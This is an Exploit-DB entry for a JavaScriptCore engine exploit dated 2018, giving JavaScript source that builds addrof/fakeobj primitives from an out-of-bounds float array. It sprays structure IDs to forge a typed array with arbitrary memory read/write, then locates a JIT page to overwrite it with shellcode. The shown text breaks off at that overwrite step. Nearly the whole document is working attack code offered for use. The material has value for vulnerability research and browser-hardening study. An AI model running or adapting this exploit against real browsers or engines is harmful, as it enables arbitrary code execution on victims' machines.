Exploit-DB #45048
Description: JavaScript Core - Arbitrary Code Execution
Type: local
Platform: multiple
Date: 2018-07-11
Author: ret2

Exploit:
// Load Int library, thanks saelo!
load('util.js');
load('int64.js');


// Helpers to convert from float to in a few random places
var conva = new ArrayBuffer(8);
var convf = new Float64Array(conva);
var convi = new Uint32Array(conva);
var convi8 = new Uint8Array(conva);

var floatarr_magic = new Int64('0x[PII_REDACTED]313131').asDouble();
var floatarr_magic = new Int64('0x[PII_REDACTED]313131').asDouble();
var jsval_magic = new Int64('0x[PII_REDACTED]323232').asDouble();

var structs = [];

function log(x) {
    print(x);
}

// Look OOB for array we can use with JSValues
function findArrayOOB(corrupted_arr, groom) {
    log("Looking for JSValue array with OOB Float array");
    for (let i = 0; i<corrupted_arr.length; i++) {
        convf[0] = corrupted_arr[i];

        // Find the magic value we stored in the JSValue Array
        if (convi[0] == 0x10) {
            convf[0] = corrupted_arr[i+1];
            if (convi[0] != 0x32323232)
                continue;

            // Change the first element of the array
            corrupted_arr[i+1] = new Int64('0x[PII_REDACTED]313131').asDouble();

            let target = null;
            // Find which array we modified
            for (let j = 0; j<groom.length; j++) {
                if (groom[j][0] != jsval_magic) {
                    target = groom[j];
                    break
                }
            }

            log("Found target array for addrof/fakeobj");

            // This object will hold our primitives
            let prims = {};

            let oob_ind = i+1;

            // Get the address of a given jsobject
            prims.addrof = function(x) {
                // To do this we put the object in the jsvalue array and
                // access it OOB with our float array
                target[0] = x;
                return Int64.fromDouble(corrupted_arr[oob_ind]);
            }

            // Return a jsobject at a given address
            prims.fakeobj = function(addr) {
                // To do this we overwrite the first slot of the jsvalue array
                // with the OOB float array
                corrupted_arr[oob_ind] = addr.asDouble();
                return target[0];
            }

            return prims;
        }
    }
}

// Here we will spray structure IDs for Float64Arrays
// See http://www.phrack.org/papers/attacking_javascript_engines.html
function sprayStructures() {
  function randomString() {
      return Math.random().toString(36).replace(/[^a-z]+/g, '').substr(0, 5);
  }
  // Spray arrays for structure id
  for (let i = 0; i < 0x1000; i++) {
      let a = new Float64Array(1);
      // Add a new property to create a new Structure instance.
      a[randomString()] = 1337;
      structs.push(a);
  }
}


// Here we will create our fake typed array and get arbitrary read/write
// See http://www.phrack.org/papers/attacking_javascript_engines.html
function getArb(prims) {
    sprayStructures()

    let utarget = new Uint8Array(0x10000);
    utarget[0] = 0x41;

    // Our fake array
    // Structure id guess is 0x200
    // [ Indexing type = 0 ][ m_type = 0x27 (float array) ][ m_flags = 0x18 (OverridesGetOwnPropertySlot) ][ m_cellState = 1 (NewWhite)]
    let jscell = new Int64('0x[PII_REDACTED]000200');

    // Construct the object
    // Each attribute will set 8 bytes of the fake object inline
    obj = {
        'a': jscell.asDouble(),

        // Butterfly can be anything
        'b': false,

        // Target we want to write to
        'c': utarget,

        // Length and flags
        'd': new Int64('0x[PII_REDACTED]000010').asDouble()
    };


    // Get the address of the values we stored in obj
    let objAddr = prims.addrof(obj).add(16);
    log("Obj addr + 16 = "+objAddr);

    // Create a fake object from this pointer
    let fakearray = prims.fakeobj(objAddr);

    // Attempt to find a valid ID for our fake object
    while(!(fakearray instanceof Float64Array)) {
        jscell.add(1);
        obj['a'] = jscell.asDouble();
    }

    log("Matched structure id!");

    // Set data at a given address
    prims.set = function(addr, arr) {
        fakearray[2] = addr.asDouble();
        utarget.set(arr);
    }

    // Read 8 bytes as an Int64 at a given address
    prims.read64 = function(addr) {
        fakearray[2] = addr.asDouble();
        let bytes = Array(8);
        for (let i=0; i<8; i++) {
            bytes[i] = utarget[i];
        }
        return new Int64(bytes);
    }

    // Write an Int64 as 8 bytes at a given address
    prims.write64 = function(addr, value) {
        fakearray[2] = addr.asDouble();
        utarget.set(value.bytes);
    }
}

// Here we will use build primitives to eventually overwrite the JIT page
function exploit(corrupted_arr, groom) {
    save.push(groom);
    save.push(corrupted_arr);

    // Create fakeobj and addrof primitives
    let prims = findArrayOOB(corrupted_arr, groom);

    // Upgrade to arb read/write from OOB read/write
    getArb(prims);

    // Build an arbitrary JIT function
    // This was basically just random junk to make the JIT function larger
    let jit = function(x) {
        var j = []; j[0] = 0x6323634;
        return x*5 + x - x*x /0x[PII_REDACTED] +(x - x+0x85720642 *(x +3 -x / x+0x41424344)/0x41424344)+j[0]; };

    // Make sure the JIT function has been compiled
    jit();
    jit();
    jit();

    // Traverse the JSFunction object to retrieve a non-poisoned pointer
    log("Finding jitpage");
    let jitaddr = prims.read64(
        prims.read64(
            prims.read64(
                prims.read64(
                    prims.addrof(jit).add(3*8)
                ).add(3*8)
            ).add(3*8)
        ).add(5*8)
    );
    log("Jit page addr = "+jitaddr);

    // Overwrite the JIT code with our INT3s
    log("Writting shellcode over jit page");